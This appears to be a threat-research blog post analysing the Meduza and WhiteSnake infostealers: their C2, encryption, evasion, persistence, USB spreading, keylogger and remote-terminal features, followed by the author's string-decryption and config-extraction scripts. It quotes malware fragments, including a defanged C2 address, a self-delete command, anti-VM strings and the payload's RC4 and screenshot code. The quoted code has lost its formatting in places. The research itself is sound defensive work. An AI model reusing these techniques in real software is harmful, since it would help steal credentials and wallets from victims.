The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.
As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp
Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.
Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.
Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.
Moreover, there is also a slight overlap in Telegram logs layout.
The code below is responsible for creating folders for gathered logs that are then archived.
In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.
The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.
The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:
Unknown Edition
Web Server (core installation)
Standard Edition (core installation)
Microsoft Hyper-V Server
Windows 10 IoT Core
Windows IoT Enterprise
Windows Home Server
Windows Storage Server
Standard Edition
Small Business Server Premium Edition
Small Business Server
Server Enterprise (core installation)
Enterprise Evaluation
Server Enterprise
Server Standard (core installation)
Datacenter Edition (core installation)
Datacenter Edition
Server Hyper Core V
Business Edition
Windows Essential Server Solution Management
Windows Essential Server Solution Additional
Professional Education
Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.
The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.
The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.
Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.
C2 Communication
C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.
Summary
Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.
According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.
To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page
Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.
IDAPython string decryption script
# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/
import idautils, idc, idaapi, ida_search
import re
pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'
# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())
addr_to_data = {}
defsearch_and_process_pattern(pattern, start):
while True:
addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)
if addr == idc.BADADDR:
break
ptr_addr = addr
found_mov = False
data = ''
for _ in range(400):
ptr_addr = idc.prev_head(ptr_addr)
if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
breakif idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
breakif idc.print_insn_mnem(ptr_addr) == 'mov':
# Ignore the instruction if the destination is ecx
if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
continue
op1_type = idc.get_operand_type(ptr_addr, 0)
op2_type = idc.get_operand_type(ptr_addr, 1)
operand_value = idc.get_operand_value(ptr_addr, 1)
if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
hex_data = hex_data.rjust(8, '0')
if hex_data.endswith('ffffffff'):
hex_data = hex_data[:-8]
if hex_data.startswith('ffffffff'):
hex_data = hex_data[8:]
# Alternative method for unpacking hex data
bytes_data = bytes.fromhex(hex_data)
int_data = int.from_bytes(bytes_data, 'little')
hex_data = hex(int_data)[2:].rjust(8, '0')
data = hex_data + data
found_mov = True
if found_mov: # Append the data only if the desired mov instruction was found
if addr in addr_to_data:
addr_to_data[addr] = data + addr_to_data[addr]
else:
addr_to_data[addr] = data
# Continue search from the previous address
start = addr - 1
# Search and process pattern1
search_and_process_pattern(pattern1, start)
# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())
# Search and process pattern2
search_and_process_pattern(pattern2, start)
# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
if len(data) >= 10:
string = data[:len(data)//2]
key = data[len(data)//2:]
# XOR the string and key
xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])
decrypted_string = xored_bytes.decode('utf-8', errors='ignore')
print(f"{hex(addr)}: {decrypted_string}")
# Set IDA comment at the appropriate address
idaapi.set_cmt(addr, decrypted_string, 0)
I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.
You can grab the configuration from my GitHub page as well.
WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.
The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge, Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord, Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN, WindscribeVPN.
The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance, Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin, BinanceChain, TronLink, Phantom.
The subscription pricing for the stealer:
120$ – 1 month
300$ – 3 months
500$ – 6 months
900$ – 1 year
1500$ – lifetime
The stealer claims to leave no traces on the infected machine; it does not require the user to rent the server. The communication between the infected and the attacker’s controlled machine is handled by Tor. The stealer also has loader and grabber functionalities.
What also makes this stealer interesting and quite unique compared to other stealer families is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the closest one to this stealer with the file extension support feature. You can check out my write-up on it here. Another interesting feature is the Linux Stub Builder, where the user can generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla, Thunderbird, Pidgin, and Telegram.
But enough about the introduction. Let us jump into the technical part and the stealer panel overview.
WhiteSnake Analysis
WhiteSnake builder panel contains the settings to enable the Telegram bot for C2 communication. The user can also configure Loader and Grabber settings. The user can choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the private RSA key to be able to extract an RC4 key which is quite challenging.
The user can add the fake signature to the generated builds. There are currently eight signatures under the user’s exposal.
Adobe (Adobe Systems Incorporated, VeriSign)
Chrome (Google LLC, DigiCert)
Firefox (Mozilla Corporation, DigiCert)
Microsoft (Microsoft Corporation, Microsoft Code Singing PCA 2011)
Oracle (Oracle Corporation, DigiCert, VeriSign)
Telegram (Telegram FZ-LLC, Sectigo)
Valve (Valve Corp., DigiCert)
WinRar (win.rar GmbH, Globalsign)
Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk bytes to the end of the builds to increase the file, thus avoiding the detection and preventing it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB. The user can choose a specific .NET framework version to run the stealer. Version 2.0 works for Windows 7, and version 4.7 works for Windows 8 and above.
The stealer has two execution methods:
Non-resident – the stealer auto-deletes itself after successful execution
Resident – the stealer beacons out to the C2 WhiteSnake stealer payload can be generated with these features enabled:
AntiVM
Auto-Keylogger
Random resources
USB Spread
Local user spread I will mention some of these features further in this write-up.
Let’s look at some of the payloads with different file extensions.
Cmd – this generates the batch file The batch file sets the command line title to “Update … “. sets an environment variable named s7545ebdc38726fd35741ea966f41310d746768 with the value %TEMP%\Ja97719d578b685b1f2f4cbe8f0b4936cf8ca52. The %TEMP% represents the path to the user’s temporary folder. The final decoded payload is saved as P114cace969bca23c6118304a9040eff4.exe under the %TEMP% folder.
The script grabs the substring that starts and ends with a specific index specified in the batch file. Taking, for example, echo %XMgElBtkFoDvgdYKfJpS:~0,600% , it extracts the substring starting from index 0 and ending at index 600 (inclusive) from the variable XMgElBtkFoDvgdYKfJpS, which is:
set XMgElBtkFoDvgdYKfJpS=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZEs4YAAAAAAAAAAOAAIgALATAAACAFAAAKAAAAAAAAHj4FAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMg9BQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJB4FAAAgAAAAIAUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAABQHAAAAQAUAAAgAAAAiBQAAAAAAAAAAAAAA6g
You might have noticed that the string begins with TVqQ, which decodes to an MZ header from Base64.
When the big base64-encoded blob is formulated, certutil is used to decode it, and the executable is launched under the mentioned %TEMP% folder.
VBS – generates the VBS file that is launched via wscript.exe, and, again, certutil is used to decode the Base64 blob. The file containing the Base64 blob is saved under the same folder as the decoded executable file (%TEMP%). The Base64 blob is in reversed order. After decoding, the payload is placed under the Temp folder mentioned above as a randomly generated filename, for example, od1718d0be65b07c0fd84d1d9d446.exe (GetSpecialFolder(2) retrieves the Temp folder)
WSF and HTA – the same logic as for the VBS is applied to WSF and HTA payloads.
Python payload. The payloads can be generated either in Python 1-2 or 3. With Python 1-2, the stealer payload is executed from the %TEMP% directory after Base64-decoding.
With Python 3, the code checks if the operating system is Linux; if not, then it exits with the following condition:
if 'linux' notin H().lower():
exit(1)
The code also checks if the ISP obtained from the IP geolocation API matches certain predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits with an exit code of 5 as shown below:
I,J=O.data.decode(N).strip().split('\n')
for P in ['google','mythic beasts']:
if P in J.lower():exit(5)
The screenshot caption function operates the following way:
First, the code checks if the variable S is set to True, which indicates that the PIL (Python Imaging Library) module, specifically ImageGrab from PIL, is available. If the module is available, the variable S is set to True. Otherwise, it is set to False.
Inside the n() function, an attempt is made to capture the screenshot using the PIL module if S is True. The ImageGrab module’s grab() function is called to capture the screenshot, and then it is saved to a BytesIO object called C as a PNG image.
The BytesIO object C, which holds the PNG image data, is then encoded as base64 using the b64encode() function from the base64 module. The resulting base64-encoded image is assigned to the variable C.
The base64-encoded screenshot image is saved to a JSON file named system.json along with other system-related information like the username, computer name, IP address, operating system, Stub version, Tag, and Execution timestamp, as shown in the code snippet below:
with open(A.join(B,'system.json'),'w')as R:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':H(),'Tag':T,'IP':I,'Stub version':k,'Execution timestamp':time()},R)
Let’s look at this function:
defp(buffer):
A = d(16)
B = Z(buffer)
C = m(A, B)
return b'LWSR$' + C + A
Which does the following:
A = d(16) – it generates a 16-byte random key, which is assigned to the variable A.
B = Z(buffer) – the buffer is passed to the Z function, assigning the result to the variable B. The implementation of the Z function is not provided in the code snippet, so it is unclear what it does.
C = m(A, B) – the m function is called with the key A and the processed buffer B. The m function seems to perform some encryption or transformation on the buffer using the provided key.
return b’LWSR$’ + C + A – the function concatenates the byte string ‘LWSR$’, the transformed buffer C, and the key A. It returns the resulting byte string. The ‘LWSR$’ prefix could potentially be used as a marker or identifier for the encrypted data.
The m function contains the RC4 encryption function shown below:
defm(key,data):
A=list(W(256));C=0;D=bytearray()
for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]
B=C=0
for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])
return bytes(D)
j parameter contains the configuration of the stealer:
The configuration is used to enumerate through the directories and extract the predefined data such as Firefox cookies and credentials, Thunderbird and FileZilla config files, cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to transfer.sh and Telegram Bot.
The snippet that is responsible for sending data to transfer.sh and Telegram:
It is worth noting that at the time of writing this report, transfer.sh has been down for a few weeks, so our Python 3 payload will not work 😉
MSI payload – contains the Custom Action to execute the embedded stealer.
Macro – the macro script contains the Base64-encoded reversed blob, which is the stealer itself. Upon decoding and reversing the blob, it’s saved as an executable file under the %TEMP% folder.
The builder of WhiteSnake is built with Python. The standalone builder was built using PyInstaller, that includes all the necessary Python extension modules.
WhiteSnake Stealer Analysis
The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest version with all features enabled) in the obfuscated version. In the obfuscated stealer binary, the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation relied on XOR instead. In the newest version, the stealer developer removed the random callouts to legitimate websites.
The developer also removed string obfuscation that relied on building an array of characters and then converting the array into a string. The character for each position in the array is created by performing various operations, such as division, addition, and subtraction, on numeric values and lengths of strings or byte arrays.
I went ahead and used de4dot to decrypt all the strings and I also changed some of the method and class names to make it easier to understand the stealer functionality.
The code in the Entry Point below retrieves the location or filename of the executing assembly using Assembly.GetExecutingAssembly().Location. If the location is unavailable or empty, it tries to get the filename of the main module of the current process using Process.GetCurrentProcess().MainModule.FileName. If either the location or the filename is not empty, it assigns the value to the text variable. If there is an exception during the process, it catches the exception and writes the error message to installUtilLog.txt file located at %TEMP%.
Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer running. The mutex value is present in the configuration of the stealer. If the mutex is present, the stealer will exit.
If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the sandboxes by utilizing the WMI (Windows Management Instrumentation) query:
SELECT * FROM Win32_ComputerSystem
The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of the properties contain the strings:
virtual
vmbox
vmware
thinapp
VMXh
innotek gmbh
tpvcgateway
tpautoconnsvc
vbox
kvm
red hat
qemu
And if one of the strings is present, the stealer exits out.
Next, the stealer checks if the execution method flag is set to 1, meaning that the resident mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled task on the host
The folder name EsetSecurity is also obtained from the configuration of the stealer.
Moving forward, the Tor directory is created under the random name retrieved from the configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source software project that aims to provide anonymous communication on the Internet. WhiteSnake uses TOR for communication, which makes it quite unique compared to other stealers. Hidden services or onion services allow services to be hosted on the Tor network without requiring traditional servers or port forwarding configurations. With Tor’s hidden services, the connection is established within the Tor network itself, which provides anonymity. When a hidden service is set up, it generates a unique address ending with .onion under C:\Users<username>\AppData\Local<random_name>\host. This address can only be accessed through the Tor network, and the connection is routed through a series of Tor relays, making it difficult to trace the actual attacker’s server.
The function below is responsible for building out the torr.txt, also known as Tor configuration file.
Example of the Tor configuration file:
SOCKSPort 4256: This field specifies the port number (6849) on which Tor should listen for SOCKS connections. The SOCKS protocol is commonly used to establish a proxy connection for applications to communicate through Tor.
ControlPort 4257: This field sets the port number (6850) for the Tor control port. The control port allows external applications to interact with the Tor process.
DataDirectory C:\Users<username>\AppData\Local<random_name>\data: The DataDirectory field specifies the directory where Tor should store its data files, such as its state, cached data, and other runtime information.
HiddenServiceDir C:\Users<username>\AppData\Local<random_name>\host: This directive specifies the directory where Tor should store the files related to a hidden service. Hidden services are websites or services hosted on the Tor network, typically with addresses ending in .onion. In this example, the hidden service files will be stored in C:\Users<username>\AppData\Local<random_name>\host.
HiddenServicePort 80 127.0.0.1:6848: This field configures a hidden service to listen on port 80 on the local loopback interface (127.0.0.1) and forward incoming connections to port 6848.
HiddenServiceVersion 3: This field specifies the version of the hidden service. Please note that the port numbers can vary on each infected machine.
The stealer then proceeds to check if the file report.lock exists within the created Tor directory, if it does not, the stealer proceeds with loading the APIs such as GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA, GetWindowThreadProcessId, and CryptUnprotectData. Then it proceeds with parsing the stealer configuration (the data to be exfiltrated). I have beautified the configuration for a simplified read.
The code below is responsible for parsing and retrieving information from directories and files related to browsing history, cookies, and extensions.
WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with a key generated on the fly. The WSR filename is comprised of the first random 5 characters, followed by _username`, @computername and _report, the example is shown below. The WSR is the file containing the exfiltrated data.
hhcvT_administrator@WINDOWS-CBVFCB_report
It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the configuration.
Below is the function responsible for basic information parsing.
The stealer appends certain fields to the basic information of the infected machine before sending it out to Telegram Bot configured by an attacker.
The WSR log file is uploaded to one of the available servers listed in the configuration file. If one of servers is not available and the web request fails, the stealer tries the next IP on the list.
The attacker has two options to get the logs from Telegram.
Download the WSR locally from one of the servers hosting the log file.
Open directly via localhost (for example, http://127.0.0.1:18772/handleOpenWSR?r=http://IP_Address:8080/get/CBxn1/hhcvT_administrator@WINDOWS-CBVFCB_report.wsr). By accessing that URL the attacker will get the logs parsed directly into the WhiteSnake report viewer panel show below on the right. We will come back to the report viewer panel later in this blog.
The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information from the registry key based on the default profile.
WhiteSnake stealer uses WMI queries for basic system information enumeration as mentioned above. Here are some other queries that are ran by the stealer:
SELECT * FROM Win32_Processor – the query retrieves information about the processors (CPUs) installed on the computer.
SELECT * FROM Win32_VideoController – the query retrieves information about the video controllers (graphics cards) installed on the computer
SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3 – the query retrieves information about logical disks (such as hard drives or SSDs) on the computer where the DriveType equals 3. DriveType 3 corresponds to local disk drives.
SELECT * FROM Win32_ComputerSystem – the query retrieves information about the computer system where the TotalPhysicalMemory
The stealer retrieves the list of installed applications by querying the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to run the executable.
If the USB Spread option is enabled, the stealer performs the following:
Iterate over all available drives on the system using the DriveInfo.GetDrives() method.
For each DriveInfo object in the collection of drives, it performs the following actions such as checking if the drive type is “Removable” (driveInfo.DriveType == DriveType.Removable), indicating a removable storage device is a USB drive, checking if the drive is ready (driveInfo.IsReady), meaning it is accessible and can be written to, checking if the available free space on the drive is greater than 5242880 bytes
If the above conditions are met, it constructs a file path by combining the root directory of the drive (driveInfo.RootDirectory.FullName) with a file name represented by USB_Spread.vN6.
It then checks if the stealer file exists
If the file doesn’t exist, it copies a file to the USB drive.
With the Local User Spread option, the stealer queries for user accounts with Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user accounts on the local computer, excluding the current user’s Startup folder.
Upon successful execution of the stealer, it deletes itself using the command
cmd.exe” /c chcp 65001 && ping 127.0.0.1 && DEL_ /F /S /Q /A “path to the stealer”
Below is the functionality of the keylogger.
The keylogger function relies on the APIs:
SetWindowsHookExA
GetKeyState
CallNextHookEx
GetKeyboardState
MapVirtualKeyA
GetForegroundWindow
GetWindowThreadProcessId
GetKeyboardLayout
ToUnicodeEx
Another unique feature of WhiteSnake is the remote terminal that allows an attacker to establish the remote session with the infected machine and execute certain commands such as:
screenshot – taking the screenshot of the infected machine
uninstall – uninstall the beacon from the infected machine
refresh – refresh the log credentials
webcam – take the webcam photo
stream – start streaming webcam or desktop
keylogger – control the keylogger
cd – change the current directory
ls – list files in current directory
get-file – download file from remote PC
dpapi – decrypts the DPAPI (base64-encoded) blob
process-list – get running processes
transfer – upload the file to one of the IPs listed in the configuration
loader – retrieves the file from the URL
loadexec – retrieves and executes the file on the infected machine with cmd.exe in a hidden window
compress – creates a ZIP archive from a directory
decompress – extracts ZIP content to the current directory
The code responsible for the remote terminal functionality is shown below.
For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The stealer attempts to capture an image from the webcam and returns the image data as a byte array in PNG format. It uses various API functions such as capCreateCaptureWindowA, SendMessageA, and the clipboard to perform the capture.
Configuration Extractor
I wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that relies on dnlib.
XOR version
#Author: RussianPanda
#Tested on samples:
# f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7
import argparse
import clr
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
defxor_strings(data, key):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key * (len(data) // len(key) + 1)))
defhas_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i + len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
defprocess_methods():
decrypted_strings = []
check_list = []
for type in module.GetTypes():
for method in type.Methods:
if has_target_opcode_sequence(method) and method.HasBody:
instructions = list(method.Body.Instructions)
for i in range(len(instructions) - 1):
instr1 = instructions[i]
instr2 = instructions[i + 1]
if instr1.OpCode == OpCodes.Ldstr and instr2.OpCode == OpCodes.Ldstr:
data = instr1.Operand
key = instr2.Operand
if isinstance(data, str) and isinstance(key, str):
decrypted_string = xor_strings(data, key)
decrypted_strings.append(decrypted_string)
# Only consider ldstr instructions
if instr1.OpCode == OpCodes.Ldstr and (instr1.Operand == '1' or instr1.Operand == '0'):
check_list.append(instr1.Operand)
return decrypted_strings, check_list
defprint_stealer_configuration(decrypted_strings, xml_declaration_index):
config_cases = {
".": {
"offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"), (4, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (6, "RSAKeyValue")]
},
"RSAKeyValue": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "Mutex"), (7, "Build Tag")]
},
"else": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "RSAKeyValue"), (7, "Mutex"),
(8, "Build Tag")]
}
}
condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
"RSAKeyValue" if "RSAKeyValue" notin decrypted_strings[xml_declaration_index - 6] else "else"
offsets = config_cases[condition]["offsets"]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
defprint_features_status(check_list):
features = [
(0, "AntiVM"),
(1, "Resident"),
(2, "Auto Keylogger"),
(3, "USB Spread"),
(4, "Local Users Spread"),
]
for o, n in features:
status = 'Enabled' if check_list[o] == '1' else 'Disabled'
print(f"{n}: {status}")
defprint_C2(decrypted_strings):
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" notin data and "www.w3.org" notin data:
print("C2: " + data)
defmain():
decrypted_strings, check_list = process_methods()
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index isnot None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
print_stealer_configuration(decrypted_strings, xml_declaration_index)
print_features_status(check_list)
print_C2(decrypted_strings)
if __name__ == "__main__":
main()
Output example:
RC4 version
#Author: RussianPanda
import argparse
import clr
import logging
parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()
clr.AddReference(args.dnlib)
import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes
module = dnlib.DotNet.ModuleDefMD.Load(args.file)
logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')
defIchduzekkvzjdxyftabcqu(A_0, A_1):
try:
string_builder = []
num = 0
array = list(range(256))
for i in range(256):
array[i] = i
for j in range(256):
num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)
num2 = array[j]
array[j] = array[num]
array[num] = num2
for k in range(len(A_0)):
num3 = k % 256
num = (array[num3] + num) % 256
num2 = array[num3]
array[num3] = array[num]
array[num] = num2
decrypted_char = chr(ord(A_0[k]) ^ array[(array[num3] + array[num]) % 256])
string_builder.append(decrypted_char)
return ''.join(string_builder)
except Exception as e:
logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))
return None
defhas_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]
if method.HasBody:
# Get the sequence of OpCodes in the method
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
# Check if the target sequence is present in the opcode sequence
for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i+len(target_opcode_sequence)] == target_opcode_sequence:
return True
return False
ldstr_counter = 0
decrypted_strings = []
for type in module.GetTypes():
for method in type.Methods:
if method.HasBody and has_target_opcode_sequence(method):
instructions = list(method.Body.Instructions)
for i, instr in enumerate(instructions):
# Only consider ldstr instructions
if instr.OpCode == OpCodes.Ldstr:
ldstr_counter += 1
if ldstr_counter > 21:
if instr.Operand == '1' or instr.Operand == '0':
decrypted_strings.append(instr.Operand)
elif i + 1 < len(instructions):
encrypted_data = instr.Operand
rc4_key = instructions[i + 1].Operand
if isinstance(encrypted_data, str) and isinstance(rc4_key, str):
decrypted_data = Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
if decrypted_data:
decrypted_strings.append(decrypted_data)
xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)
if xml_declaration_index isnot None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
